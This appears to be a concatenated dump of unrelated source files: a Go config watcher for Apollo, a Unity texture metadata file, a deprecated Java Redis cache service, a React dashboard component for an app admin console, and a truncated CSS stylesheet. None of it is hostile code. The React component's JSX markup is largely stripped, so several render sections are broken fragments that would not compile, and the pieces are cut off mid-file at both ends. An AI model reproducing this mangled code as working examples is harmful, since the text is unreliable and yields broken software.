apollo config daemon to watch remote apollo notifications\nfunc (a *apollo) watchproc(keys []string) {\n\tevents := a.client.WatchUpdate()\n\tfor {\n\t\tselect {\n\t\tcase event := <-events:\n\t\t\tif err := a.reloadValue(event.Namespace); err != nil {\n\t\t\t\tlog.Printf(\"paladin: load key: %s error: %s, skipped\", event.Namespace, err)\n\t\t\t}\n\t\t}\n\t}\n}\n\n// Get return value by key.\nfunc (a *apollo) Get(key string) *paladin.Value {\n\treturn a.values.Get(key)\n}\n\n// GetAll return value map.\nfunc (a *apollo) GetAll() *paladin.Map {\n\treturn a.values\n}\n\n// WatchEvent watch with the specified keys.\nfunc (a *apollo) WatchEvent(ctx context.Context, keys ...string) <-chan paladin.Event {\n\taw := newApolloWatcher(keys)\n\terr := a.client.SubscribeToNamespaces(keys...)\n\tif err != nil {\n\t\tlog.Printf(\"subscribe namespaces %v failed, %v\", keys, err)\n\t\treturn aw.C\n\t}\n\ta.wmu.Lock()\n\ta.watchers[aw] = struct{}{}\n\ta.wmu.Unlock()\n\treturn aw.C\n}\n\n// Close close watcher.\nfunc (a *apollo) Close() (err error) {\n\tif err = a.client.Stop(); err != nil {\n\t\treturn\n\t}\n\ta.wmu.RLock()\n\tfor w := range a.watchers {\n\t\tclose(w.C)\n\t}\n\ta.wmu.RUnlock()\n\treturn\n}\n"} +{"text": "fileFormatVersion: 2\nguid: 2487fa2d2922b844e9d8745af1097e95\ntimeCreated: 1435595615\nlicenseType: Store\nTextureImporter:\n fileIDToRecycleName: {}\n serializedVersion: 2\n mipmaps:\n mipMapMode: 0\n enableMipMap: 1\n linearTexture: 0\n correctGamma: 0\n fadeOut: 0\n borderMipMap: 0\n mipMapFadeDistanceStart: 1\n mipMapFadeDistanceEnd: 3\n bumpmap:\n convertToNormalMap: 0\n externalNormalMap: 0\n heightScale: .25\n normalMapFilter: 0\n isReadable: 0\n grayScaleToAlpha: 0\n generateCubemap: 0\n cubemapConvolution: 0\n cubemapConvolutionSteps: 8\n cubemapConvolutionExponent: 1.5\n seamlessCubemap: 0\n textureFormat: -1\n maxTextureSize: 2048\n textureSettings:\n filterMode: -1\n aniso: -1\n mipBias: -1\n wrapMode: -1\n nPOTScale: 1\n lightmap: 0\n rGBM: 0\n compressionQuality: 50\n spriteMode: 0\n spriteExtrude: 1\n spriteMeshType: 1\n alignment: 0\n spritePivot: {x: .5, y: .5}\n spriteBorder: {x: 0, y: 0, z: 0, w: 0}\n spritePixelsToUnits: 100\n alphaIsTransparency: 0\n textureType: -1\n buildTargetSettings: []\n spriteSheet:\n sprites: []\n spritePackingTag: \n userData: \n assetBundleName: \n assetBundleVariant: \n"} +{"text": "package com.terran4j.commons.hedis.cache;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport org.apache.commons.lang3.StringUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.google.gson.Gson;\nimport com.google.gson.JsonSyntaxException;\nimport com.terran4j.commons.util.error.BusinessException;\nimport com.terran4j.commons.util.error.CommonErrorCode;\n\nimport redis.clients.jedis.Jedis;\n\n/**\n * 操作 jedis 不能支持并发访问，如果用 synchronized 同步效率会非常低下。
\n * 因此弃用，将使用 {@link RedisTemplateCacheService}，这个里面有连接池的管理，不用做线程同步。\n * @author wei.jiang\n *\n */\n@Deprecated\npublic class JedisCacheService implements CacheService {\n\n\tprivate static Logger log = LoggerFactory.getLogger(JedisCacheService.class);\n\n\tprivate final Jedis jedis;\n\n\tpublic JedisCacheService(Jedis jedis) {\n\t\tsuper();\n\t\tthis.jedis = jedis;\n\t}\n\n\t@Override\n\tpublic boolean existed(String key) {\n\t\tif (StringUtils.isBlank(key)) {\n\t\t\tthrow new NullPointerException(\"请检查传入的key值\");\n\t\t}\n\t\tsynchronized (jedis) {\n\t\t\treturn jedis.exists(key);\n\t\t}\n\t}\n\n\t@Override\n\tpublic void remove(String key) {\n\t\tif (StringUtils.isBlank(key)) {\n\t\t\tthrow new NullPointerException(\"请检查传入的key值\");\n\t\t}\n\t\tsynchronized (jedis) {\n\t\t\tjedis.del(key);\n\t\t}\n\t}\n\n\t@Override\n\tpublic void setObject(String key, Object value, Long expiredMillisecond) {\n\t\tif (StringUtils.isBlank(key) || value == null) {\n\t\t\tthrow new NullPointerException(\"请检查传入参数\");\n\t\t}\n\n\t\tGson g = new Gson();\n\t\tString valueStr = null;\n\t\tString statusCode = null;\n\t\tvalueStr = g.toJson(value);\n\n\t\t// 如果keepTime值为null或keepTime值小于等于0，那么都按永久生效处理\n\t\tif (expiredMillisecond == null || expiredMillisecond <= 0L) {\n\t\t\tsynchronized (jedis) {\n\t\t\t\tstatusCode = jedis.set(key, valueStr);\n\t\t\t}\n\t\t} else {\n\t\t\t// NX|XX, NX -- Only set the key if it does not already exist. XX --\n\t\t\t// Only set the key if it already exist.\n\t\t\t// EX|PX, expire time units: EX = seconds; PX = milliseconds\n\t\t\t// time expire time in the units of expx\n\t\t\tsynchronized (jedis) {\n\t\t\t\tstatusCode = jedis.set(key, valueStr, \"null\", \"px\", expiredMillisecond);\n\t\t\t}\n\t\t}\n\t\tif (log.isDebugEnabled()) {\n\t\t\tlog.debug(\"key=[{}]键保存成功{}，value=[{}]\", key, statusCode, valueStr);\n\t\t}\n\t}\n\n\t@Override\n\tpublic T getObject(String key, Class clazz) throws BusinessException {\n\t\tif (StringUtils.isBlank(key) || clazz == null) {\n\t\t\tthrow new NullPointerException(\"请检查传入参数\");\n\t\t}\n\n\t\tGson g = new Gson();\n\t\tT t = null;\n\t\tString value = null;\n\t\tsynchronized (jedis) {\n\t\t\tvalue = jedis.get(key);\n\t\t}\n\t\tif (!StringUtils.isBlank(value)) {\n\t\t\ttry {\n\t\t\t\tt = (T) g.fromJson(value, clazz);\n\t\t\t} catch (JsonSyntaxException e) {\n\t\t\t\tthrow new BusinessException(CommonErrorCode.JSON_ERROR, e).put(\"methodName\", \"getObject\")\n\t\t\t\t\t\t.put(\"key\", key).put(\"clazz\", clazz).put(\"value\", value)\n\t\t\t\t\t\t.setMessage(\"${methodName}方法, key=${key}, value=${value}, 解析json串失败: \" + e.getMessage());\n\t\t\t}\n\t\t}\n\t\treturn t;\n\t}\n\n\t@Override\n\tpublic void setHashEntry(String key, String entryKey, Object entryValue, Long expiredMillisecond) {\n\t\tif (StringUtils.isBlank(key) || StringUtils.isBlank(entryKey) || entryValue == null) {\n\t\t\tthrow new NullPointerException(\"请检查传入参数\");\n\t\t}\n\n\t\tGson g = new Gson();\n\t\tString valueStr = g.toJson(entryValue);\n\n\t\tsynchronized (jedis) {\n\t\t\tjedis.hset(key, entryKey, valueStr);\n\t\t}\n\n\t\t// 如果keepTime值为null或keepTime值小于等于0，那么都按永久生效处理\n\t\tif (expiredMillisecond != null && expiredMillisecond > 0L) {\n\t\t\tsynchronized (jedis) {\n\t\t\t\tjedis.expire(key, expiredMillisecond.intValue() / 1000);\n\t\t\t}\n\t\t}\n\t}\n\n\t@Override\n\tpublic T getHashEntry(String key, String entryKey, Class clazz) throws BusinessException {\n\n\t\tif (StringUtils.isBlank(key) || StringUtils.isBlank(entryKey) || clazz == null) {\n\t\t\tthrow new NullPointerException(\"请检查传入参数\");\n\t\t}\n\n\t\tGson g = new Gson();\n\t\tT t = null;\n\t\tString value = null;\n\t\tsynchronized (jedis) {\n\t\t\tvalue = jedis.hget(key, entryKey);\n\t\t}\n\t\tif (!StringUtils.isBlank(value)) {\n\t\t\ttry {\n\t\t\t\tt = g.fromJson(value, clazz);\n\t\t\t} catch (JsonSyntaxException e) {\n\t\t\t\tthrow new BusinessException(CommonErrorCode.JSON_ERROR, e).put(\"methodName\", \"getHashEntry\")\n\t\t\t\t\t\t.put(\"key\", key).put(\"clazz\", clazz).put(\"value\", value)\n\t\t\t\t\t\t.setMessage(\"${methodName}方法, key=${key}, value=${value}, 解析json串失败: \" + e.getMessage());\n\t\t\t}\n\t\t}\n\t\treturn t;\n\t}\n\n\t@Override\n\tpublic void setHashMap(String key, Map map, Class clazz) {\n\t\tif (StringUtils.isBlank(key) || clazz == null) {\n\t\t\tthrow new NullPointerException(\"请检查传入参数\");\n\t\t}\n\n\t\tGson g = new Gson();\n\t\tMap tmpMap = new HashMap();\n\t\tfor (Map.Entry entry : map.entrySet()) {\n\t\t\ttmpMap.put(entry.getKey(), g.toJson(entry.getValue(), clazz));\n\t\t}\n\t\tsynchronized (jedis) {\n\t\t\tjedis.hmset(key, tmpMap);\n\t\t}\n\t}\n\n\t@Override\n\tpublic Map getHashMap(String key, Class clazz) throws BusinessException {\n\t\tif (StringUtils.isBlank(key) || clazz == null) {\n\t\t\tthrow new NullPointerException(\"请检查传入参数\");\n\t\t}\n\n\t\tGson g = new Gson();\n\t\tMap returnMap = new HashMap();\n\t\tMap tmpMap = null;\n\t\tsynchronized (jedis) {\n\t\t\ttmpMap = jedis.hgetAll(key);\n\t\t}\n\t\tif (tmpMap != null) {\n\t\t\tfor (Map.Entry entry : tmpMap.entrySet()) {\n\t\t\t\ttry {\n\t\t\t\t\treturnMap.put(entry.getKey(), g.fromJson(entry.getValue(), clazz));\n\t\t\t\t} catch (JsonSyntaxException e) {\n\t\t\t\t\tthrow new BusinessException(CommonErrorCode.JSON_ERROR, e).put(\"methodName\", \"getHashMap\")\n\t\t\t\t\t\t\t.put(\"key\", key).put(\"clazz\", clazz).put(\"value\", entry.getValue())\n\t\t\t\t\t\t\t.setMessage(\"${methodName}方法, key=${key}, value=${value}, 解析json串失败: \" + e.getMessage());\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn returnMap;\n\t}\n\n\t@Override\n\tpublic boolean setObjectIfAbsent(String key, Object value, Long expiredMillisecond) {\n\t\treturn setObjectNXXX(key, value, expiredMillisecond, \"nx\");\n\t}\n\n\tprivate boolean setObjectNXXX(String key, Object value, Long expiredMillisecond, String nxxx) {\n\t\tif (StringUtils.isBlank(key) || value == null) {\n\t\t\tthrow new NullPointerException(\"请检查传入参数\");\n\t\t}\n\n\t\tGson g = new Gson();\n\t\tString valueStr = null;\n\t\tString statusCode = null;\n\t\tvalueStr = g.toJson(value);\n\n\t\t// NX|XX, NX -- Only set the key if it does not already exist. XX --\n\t\t// Only set the key if it already exist.\n\t\t// EX|PX, expire time units: EX = seconds; PX = milliseconds\n\t\t// time expire time in the units of expx\n\t\tsynchronized (jedis) {\n\t\t\tstatusCode = jedis.set(key, valueStr, nxxx, \"px\", expiredMillisecond);\n\t\t}\n\t\tif (log.isInfoEnabled()) {\n\t\t\tlog.info(\"setObject, key = {}, value = {}, nxxx = {}, expiredMillisecond = {}\", key, value, nxxx,\n\t\t\t\t\texpiredMillisecond);\n\t\t}\n\n\t\treturn \"OK\".equalsIgnoreCase(statusCode);\n\t}\n\n}\n"} +{"text": "import moment from \"moment\";\nimport React, { Component } from \"react\";\nimport Helmet from \"react-helmet\";\nimport { withRouter } from \"react-router-dom\";\nimport { graphql, compose, withApollo } from \"react-apollo\";\nimport size from \"lodash/size\";\nimport get from \"lodash/get\";\nimport Loader from \"../shared/Loader\";\nimport DashboardCard from \"./DashboardCard\";\nimport ConfigureGraphsModal from \"../shared/modals/ConfigureGraphsModal\";\nimport Modal from \"react-modal\";\nimport { Repeater } from \"../../utilities/repeater\";\nimport { Utilities } from \"../../utilities/utilities\";\nimport { getAppLicense, getKotsAppDashboard, getUpdateDownloadStatus } from \"@src/queries/AppsQueries\";\nimport { setPrometheusAddress } from \"@src/mutations/AppsMutations\";\n\nimport { XYPlot, XAxis, YAxis, HorizontalGridLines, VerticalGridLines, LineSeries, DiscreteColorLegend, Crosshair } from \"react-vis\";\n\nimport { getValueFormat } from \"@grafana/ui\"\nimport Handlebars from \"handlebars\";\n\nimport \"../../scss/components/watches/Dashboard.scss\";\nimport \"../../../node_modules/react-vis/dist/style\";\n\nconst COMMON_ERRORS = {\n \"HTTP 401\": \"Registry credentials are invalid\",\n \"invalid username/password\": \"Registry credentials are invalid\",\n \"no such host\": \"No such host\"\n};\n\nclass Dashboard extends Component {\n\n state = {\n appName: \"\",\n iconUri: \"\",\n currentVersion: {},\n downstreams: [],\n links: [],\n checkingForUpdates: false,\n checkingUpdateMessage: \"Checking for updates\",\n errorCheckingUpdate: false,\n appLicense: null,\n showConfigureGraphs: false,\n promValue: \"\",\n savingPromValue: false,\n activeChart: null,\n crosshairValues: [],\n updateChecker: new Repeater(),\n uploadingAirgapFile: false,\n airgapUploadError: null,\n viewAirgapUploadError: false,\n viewAirgapUpdateError: false,\n airgapUpdateError: \"\",\n startSnapshotErrorMsg: \"\"\n }\n\n toggleConfigureGraphs = () => {\n const { showConfigureGraphs } = this.state;\n this.setState({\n showConfigureGraphs: !showConfigureGraphs\n });\n }\n\n updatePromValue = () => {\n this.setState({ savingPromValue: true });\n this.props.client.mutate({\n mutation: setPrometheusAddress,\n variables: {\n value: this.state.promValue,\n },\n })\n .then(() => {\n this.setState({ savingPromValue: false });\n this.props.getKotsAppDashboard.refetch();\n })\n .catch(() => {\n this.setState({ savingPromValue: false });\n })\n }\n\n onPromValueChange = (e) => {\n const { value } = e.target;\n this.setState({\n promValue: value\n });\n }\n\n setWatchState = (app) => {\n this.setState({\n appName: app.name,\n iconUri: app.iconUri,\n currentVersion: app.downstreams[0]?.currentVersion,\n downstreams: app.downstreams[0],\n links: app.downstreams[0]?.links\n });\n }\n\n componentDidUpdate(lastProps) {\n const { app } = this.props;\n\n if (app !== lastProps.app && app) {\n this.setWatchState(app)\n }\n\n if (this.props.getAppLicense !== lastProps.getAppLicense && this.props.getAppLicense) {\n if (this.props.getAppLicense?.getAppLicense === null) {\n this.setState({ appLicense: {} });\n } else {\n const { getAppLicense } = this.props.getAppLicense;\n if (getAppLicense) {\n this.setState({ appLicense: getAppLicense });\n }\n }\n }\n }\n\n componentDidMount() {\n const { app } = this.props;\n const { getAppLicense } = this.props.getAppLicense;\n\n this.state.updateChecker.start(this.updateStatus, 1000);\n\n if (app) {\n this.setWatchState(app);\n }\n if (getAppLicense) {\n this.setState({ appLicense: getAppLicense });\n }\n this.props.getKotsAppDashboard.startPolling(2000);\n }\n\n componentWillUnmount() {\n this.state.updateChecker.stop();\n }\n\n onCheckForUpdates = async () => {\n const { app } = this.props;\n\n this.setState({\n checkingForUpdates: true,\n checkingForUpdateError: false,\n });\n\n fetch(`${window.env.API_ENDPOINT}/app/${app.slug}/updatecheck`, {\n headers: {\n \"Authorization\": Utilities.getToken(),\n \"Content-Type\": \"application/json\",\n },\n method: \"POST\",\n })\n .then(async (res) => {\n this.state.updateChecker.start(this.updateStatus, 1000);\n })\n .catch((err) => {\n this.setState({ errorCheckingUpdate: true });\n });\n }\n\n updateStatus = () => {\n return new Promise((resolve, reject) => {\n this.props.client.query({\n query: getUpdateDownloadStatus,\n fetchPolicy: \"no-cache\",\n }).then((res) => {\n\n this.setState({\n checkingForUpdates: true,\n checkingUpdateMessage: res.data.getUpdateDownloadStatus.currentMessage,\n });\n\n if (res.data.getUpdateDownloadStatus.status !== \"running\" && !this.props.isBundleUploading) {\n\n this.state.updateChecker.stop();\n this.setState({\n checkingForUpdates: false,\n checkingUpdateMessage: res.data.getUpdateDownloadStatus?.currentMessage,\n checkingForUpdateError: res.data.getUpdateDownloadStatus.status === \"failed\"\n });\n\n if (this.props.updateCallback) {\n this.props.updateCallback();\n }\n // this.props.data.refetch();\n }\n\n resolve();\n\n }).catch((err) => {\n console.log(\"failed to get rewrite status\", err);\n reject();\n });\n });\n }\n\n redirectToDiff = (currentSequence, pendingSequence) => {\n this.props.history.push(`${this.props.match.params.slug}/version-history/diff/${currentSequence}/${pendingSequence}`)\n }\n\n onDropBundle = async files => {\n this.props.toggleIsBundleUploading(true);\n this.setState({\n uploadingAirgapFile: true,\n checkingForUpdates: true,\n airgapUploadError: null,\n uploadSent: 0,\n uploadTotal: 0\n });\n\n const formData = new FormData();\n formData.append(\"file\", files[0]);\n formData.append(\"appId\", this.props.app.id);\n\n const url = `${window.env.API_ENDPOINT}/app/airgap`;\n const xhr = new XMLHttpRequest();\n xhr.open(\"PUT\", url);\n\n xhr.setRequestHeader(\"Authorization\", Utilities.getToken())\n\n xhr.upload.onprogress = event => {\n const total = event.total;\n const sent = event.loaded;\n\n this.setState({\n uploadSent: sent,\n uploadTotal: total\n });\n }\n\n xhr.upload.onerror = () => {\n this.setState({\n uploadingAirgapFile: false,\n checkingForUpdates: false,\n uploadSent: 0,\n uploadTotal: 0,\n airgapUploadError: \"Error uploading bundle, please try again\"\n });\n this.props.toggleIsBundleUploading(false);\n }\n\n xhr.onloadend = async () => {\n const response = xhr.response;\n if (xhr.status === 202) {\n this.state.updateChecker.start(this.updateStatus, 1000);\n this.setState({\n uploadingAirgapFile: false\n });\n } else {\n this.setState({\n uploadingAirgapFile: false,\n checkingForUpdates: false,\n airgapUploadError: `Error uploading airgap bundle: ${response}`\n });\n }\n this.props.toggleIsBundleUploading(false);\n }\n\n xhr.send(formData);\n }\n\n onProgressError = async (airgapUploadError) => {\n Object.entries(COMMON_ERRORS).forEach(([errorString, message]) => {\n if (airgapUploadError.includes(errorString)) {\n airgapUploadError = message;\n }\n });\n this.setState({\n airgapUploadError,\n checkingForUpdates: false,\n uploadSent: 0,\n uploadTotal: 0\n });\n }\n\n getLegendItems = (chart) => {\n return chart.series.map((series) => {\n const metrics = {};\n series.metric.forEach((metric) => {\n metrics[metric.name] = metric.value;\n });\n if (series.legendTemplate) {\n try {\n const template = Handlebars.compile(series.legendTemplate);\n return template(metrics);\n } catch (err) {\n console.error(\"Failed to compile legend template\", err);\n }\n }\n return metrics.length > 0 ? metrics[Object.keys(metrics)[0]] : \"\";\n });\n }\n\n toggleViewAirgapUploadError = () => {\n this.setState({ viewAirgapUploadError: !this.state.viewAirgapUploadError });\n }\n\n toggleViewAirgapUpdateError = (err) => {\n this.setState({\n viewAirgapUpdateError: !this.state.viewAirgapUpdateError,\n airgapUpdateError: !this.state.viewAirgapUpdateError ? err : \"\"\n });\n }\n\n getValue = (chart, value) => {\n let yAxisTickFormat = null;\n if (chart.tickFormat) {\n const valueFormatter = getValueFormat(chart.tickFormat);\n yAxisTickFormat = (v) => `${valueFormatter(v)}`;\n return yAxisTickFormat(value);\n } else if (chart.tickTemplate) {\n try {\n const template = Handlebars.compile(chart.tickTemplate);\n yAxisTickFormat = (v) => `${template({ values: v })}`;\n return yAxisTickFormat(value);\n } catch (err) {\n console.error(\"Failed to compile y axis tick template\", err);\n }\n } else {\n return value.toFixed(5);\n }\n }\n\n renderGraph = (chart) => {\n const axisStyle = {\n title: { fontSize: \"12px\", fontWeight: 500, fill: \"#4A4A4A\" },\n ticks: { fontSize: \"12px\", fontWeight: 400, fill: \"#4A4A4A\" }\n }\n const legendItems = this.getLegendItems(chart);\n const series = chart.series.map((series, idx) => {\n const data = series.data.map((valuePair) => {\n return { x: valuePair.timestamp, y: valuePair.value };\n });\n\n return (\n this.setState({\n crosshairValues: chart.series.map(s => ({ x: s.data[index].timestamp, y: s.data[index].value, pod: s.metric[0].value })),\n activeChart: chart\n })}\n />\n );\n });\n\n let yAxisTickFormat = null;\n if (chart.tickFormat) {\n const valueFormatter = getValueFormat(chart.tickFormat);\n yAxisTickFormat = (v) => `${valueFormatter(v)}`;\n } else if (chart.tickTemplate) {\n try {\n const template = Handlebars.compile(chart.tickTemplate);\n yAxisTickFormat = (v) => `${template({ values: v })}`;\n } catch (err) {\n console.error(\"Failed to compile y axis tick template\", err);\n }\n }\n\n return (\n
\n this.setState({ crosshairValues: [] })}>\n \n \n `${moment.unix(v).format(\"H:mm\")}`} style={axisStyle} />\n \n {series}\n {this.state.crosshairValues?.length > 0 && this.state.activeChart === chart &&\n \n
\n

{moment.unix(this.state.crosshairValues[0].x).format(\"LLL\")}

\n
\n {this.state.crosshairValues.map((c, i) => {\n return (\n
\n
\n

{c.pod}:

\n
\n
\n {this.getValue(chart, c.y)}\n
\n
\n )\n })}\n
\n \n }\n \n {legendItems ? : null}\n
\n

{chart.title}

\n
\n
\n );\n }\n\n startManualSnapshot = () => {\n const { app } = this.props;\n this.setState({\n startingSnapshot: true,\n startSnapshotErr: false,\n startSnapshotErrorMsg: \"\",\n });\n\n fetch(`${window.env.API_ENDPOINT}/app/${app.slug}/snapshot/backup`, {\n method: \"POST\",\n headers: {\n \"Authorization\": Utilities.getToken(),\n \"Content-Type\": \"application/json\",\n }\n })\n .then(async (result) => {\n if (result.ok) {\n this.setState({\n startingSnapshot: false\n });\n this.props.history.push(`/app/${app.slug}/snapshots`)\n } else {\n const body = await result.json();\n this.setState({\n startingSnapshot: false,\n startSnapshotErr: true,\n startSnapshotErrorMsg: body.error,\n });\n }\n })\n .catch(err => {\n console.log(err);\n this.setState({\n startSnapshotErrorMsg: err,\n })\n })\n }\n\n render() {\n const {\n appName,\n iconUri,\n currentVersion,\n downstreams,\n links,\n checkingForUpdates,\n checkingUpdateMessage,\n errorCheckingUpdate,\n uploadingAirgapFile,\n airgapUploadError,\n appLicense,\n showConfigureGraphs,\n promValue,\n savingPromValue\n } = this.state;\n\n const { app, isBundleUploading, isVeleroInstalled } = this.props;\n\n const latestPendingVersion = downstreams?.pendingVersions?.find(version => Math.max(version.sequence));\n const latestSequence = latestPendingVersion ? latestPendingVersion.sequence : 0;\n const currentSequence = currentVersion ? currentVersion.sequence : 0;\n\n let checkingUpdateText = checkingUpdateMessage;\n try {\n const jsonMessage = JSON.parse(checkingUpdateText);\n const type = get(jsonMessage, \"type\");\n if (type === \"progressReport\") {\n checkingUpdateText = jsonMessage.compatibilityMessage;\n // TODO: handle image upload progress here\n }\n } catch {\n // empty\n }\n\n if (!app || !appLicense) {\n return (\n
\n \n
\n );\n }\n\n\n return (\n
\n \n {appName}\n \n
\n
\n
\n
\n
\n \n
\n
\n

{appName}

\n
\n
\n
\n \n this.onCheckForUpdates()}\n onUploadNewVersion={() => this.onUploadNewVersion()}\n redirectToDiff={() => this.redirectToDiff(currentSequence, latestSequence)}\n isBundleUploading={isBundleUploading}\n checkingForUpdateError={this.state.checkingForUpdateError}\n viewAirgapUploadError={() => this.toggleViewAirgapUploadError()}\n viewAirgapUpdateError={(err) => this.toggleViewAirgapUpdateError(err)}\n />\n {app.allowSnapshots && isVeleroInstalled ?\n
\n \n 0 ? \"licenseIcon\" : \"grayedLicenseIcon\"}\n license={true}\n isSnapshotAllowed={app.allowSnapshots && isVeleroInstalled}\n url={this.props.match.url}\n appLicense={appLicense}\n />\n
\n :\n 0 ? \"licenseIcon\" : \"grayedLicenseIcon\"}\n license={true}\n url={this.props.match.url}\n appLicense={appLicense}\n />\n }\n
\n
\n {this.props.getKotsAppDashboard?.getKotsAppDashboard?.prometheusAddress ?\n
\n
\n Configure Prometheus Address \n
\n
\n {this.props.getKotsAppDashboard.getKotsAppDashboard.metrics.map(this.renderGraph)}\n
\n
\n :\n
\n
\n
\n \n
\n
\n
\n
\n \n
\n
\n
\n \n
\n
\n }\n
\n
\n
\n \n {this.state.viewAirgapUploadError &&\n \n
\n

Error uploading airgap buundle

\n
\n

{this.state.airgapUploadError}

\n
\n \n
\n \n }\n {this.state.viewAirgapUpdateError &&\n \n
\n

Error updating version

\n
\n

{this.state.airgapUpdateError}

\n
\n \n
\n \n }\n
\n );\n }\n}\n\nexport default compose(\n withApollo,\n withRouter,\n graphql(getAppLicense, {\n name: \"getAppLicense\",\n options: ({ app }) => {\n return {\n variables: {\n appId: app.id\n },\n fetchPolicy: \"no-cache\",\n errorPolicy: \"ignore\"\n };\n }\n }),\n graphql(getKotsAppDashboard, {\n name: \"getKotsAppDashboard\",\n options: ({ match, cluster }) => {\n return {\n variables: {\n slug: match.params.slug,\n clusterId: cluster?.id\n },\n fetchPolicy: \"no-cache\"\n };\n }\n }),\n graphql(setPrometheusAddress, {\n props: ({ mutate }) => ({\n setPrometheusAddress: (value) => mutate({ variables: { value } })\n })\n }),\n)(Dashboard);\n"} +{"text": "/*\n * Copyright 2011 OverZealous Creations, LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nbody {\n margin: 0 auto;\n font-family: Palatino, Palatino Linotype, Georgia, Times, Times New Roman, serif;\n\tbackground: #666;\n}\np {\n\tmargin: 0 0 1em;\n\tpadding: 0;\n}\np, ul, ol {\n font-size: 16px;\n line-height: 24px;\n}\nhr {\n width: 540px;\n text-align: left;\n margin: 1em auto;\n color: #999;\n}\n\n/************************************************************\n * HEADERS\n **/\nh1, h2, h3, h4 {\n color: #333;\n font-weight: 400;\n}\nh1, h2, h3, h4, h5, h6 {\n\tfont-family: Century Gothic, Apple Gothic, sans-serif;\n\tmargin: 0 0 1em;\n\tclear: both;\n}\nh1 {\n font-size: 30px;\n}\nh2, h3, h4 {\n\tbackground: transparent url(\"../images/header-marker.png\") no-repeat scroll 0 0;\n\tpadding-right: 2px;\n\twhite-space: nowrap; /* prevent wrapping so background doesn't bleed */\n}\nh2::after, h3::after, h4::after {\n\tcontent: '.';\n\ttext-indent: -9999px;\n\tdisplay: inline-block;\n\tbackground: transparent url(\"../images/header-marker.png\") no-repeat scroll 0 0;\n\tpadding-right: 2px;\n\twidth: 21px;\n}\nh2 {\n font-size: 24px;\n\tbackground-position: 0 -36px;\n\tline-height: 36px;\n\tpadding-left: 23px;\n\tmargin-left: -21px;\n}\nh2:after {\n\theight: 36px;\n}\nh3 {\n\tcolor: #444;\n font-size: 20px;\n\tbackground-position: 0 -102px;\n\tline-height: 30px;\n\tpadding-left: 20px;\n\tmargin-left: -18px;\n}\nh3:after {\n\tbackground-position: 0 -72px;\n\theight: 30px;\n}\nh4 {\n\tcolor: #555;\n font-size: 16px;\n\tbackground-position: 0 -156px;\n\tline-height: 24px;\n\tpadding-left: 16px;\n\tmargin-left: -14px;\n}\nh4:after {\n\tbackground-position: 0 -132px;\n\theight: 24px;\n}\nh5 {\n font-size: 14px;\n}\n\n\n/************************************************************\n * Links\n **/\na {\n color: #37a6ee;\n margin: 0;\n padding: 0;\n vertical-align: baseline;\n}\na:hover, a:active {\n text-decoration: none;\n color: #2471a1;\n}\na:visited {\n color: #2b45b9;\n}\n\n\n/************************************************************\n * Code\n **/\npre {\n padding: 0 24px;\n max-width: 692px;\n white-space: pre;\n}\ncode {\n\tborder: 1px solid #DDD;\n\tbackground-color: #F5F5F5;\n\tpadding: 0 .25em;\n font-family: Consolas, Monaco, Lucida Console, Andale Mono, monospace;\n line-height: 1.5;\n font-size: 13px;\n}\npre code {\n\tdisplay: block;\n\tborder: 1px solid #DDD;\n\tbackground-color: #F5F5F5;\n\tborder-radius: .5em;\n\tpadding: .25em .7em;\n\tmax-height: 275px;\n\toverflow: auto;\n\t-webkit-overflow-scrolling: touch;\n}\n\n\n/************************************************************\n * Quotes\n **/\naside {\n display: block;\n float: right;\n width: 390px;\n}\nblockquote {\n border-left:.5em solid #eee;\n padding: 0 2em;\n margin-left:0;\n max-width: 476px;\n}\nblockquote cite {\n font-size:14px;\n line-height:20px;\n color:#bfbfbf;\n}\nblockquote cite:before {\n content: '\\2014 \\00A0';\n}\n\nblockquote p { \n color: #666;\n max-width: 460px;\n}\n\n\n/************************************************************\n * Tables\n **/\ntable {\n\tborder-collapse: collapse; width: 100%; border: 1px solid #DDD;\n}\ntr:nth-child(even) {\n\tbackground: #F9F9F9;\n}\ntd, th {\n\tpadding: .4em 1em;\n}\ntd {\n\tborder-right: 1px solid #EEE;\n}\nth { text-align: left; border: 1px solid #DDD; border-bottom-color: #999;\n\tbackground: -moz-linear-gradient(top, #ffffff 0%, #eeeeee 100%);\n\tbackground: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#ffffff), color-stop(100%,#eeeeee));\n\tbackground: -webkit-linear-gradient(top, #ffffff 0%,#eeeeee 100%);\n\tbackground: -o-linear-gradient(top, #ffffff 0%,#eeeeee 100%);\n\tbackground: -ms-linear-gradient(top, #ffffff 0%,#eeeeee 100%);\n\tbackground: linear-gradient(top, #ffffff 0%,#eeeeee 100%);\n}\n\n\n/************************************************************\n * Definition Lists\n **/\ndt:after {\n\tcontent: \":\";\n}\ndt {\n\tmargin-top: 1em; font-style: italic; counter-reset: deflist;\n}\ndd {\n\tposition: relative; margin-left: 4em;\n}\ndd:before {\n\tcounter-increment: deflist; content: counter(deflist) \".\"; position: absolute; top: 0; left: -1.3em;\n}\n\n\n\n\n/************************************************************\n * Customized Styles\n **/\nheader h1 {\n\tcolor: #999;\n\tbackground: url(\"../images/top-header.png\") no-repeat scroll 20px 50% #333333;\n\tborder-bottom: 1px solid #000;\n\theight: 90px;\n\tmargin: 0;\n\tpadding: 0;\n\ttext-indent: -9999px;\n}\n\nnav {\n\tbackground: #666;\n\tborder-bottom: 1px solid #333;\n\tcolor: #ddd;\n}\nnav ul, nav li {\n\tlist-style: none;\n\tpadding: 0;\n\tmargin: 0;\n}\nnav ul:after {content: '.'; display: block; clear: both; visibility: hidden; height: 0; }\nnav li {\n\tfloat: left;\n\tfont-size: 12px;\n\tline-height: 14px;\n\tfont-family: Century Gothic, Apple Gothic, sans-serif;\n\tborder-right: 1px solid #333;\n}\n\nnav a:link, nav a:visited {\n\tdisplay: block;\n\tcolor: #ddd;\n\ttext-decoration: none;\n\tpadding: 4px 12px 6px;\n\t-webkit-transition: all .25s ease;\n\t-moz-transition: all .25s ease;\n\t-ms-transition: all .25s ease;\n\t-o-transition: all .25s ease;\n\ttransition: all .25s 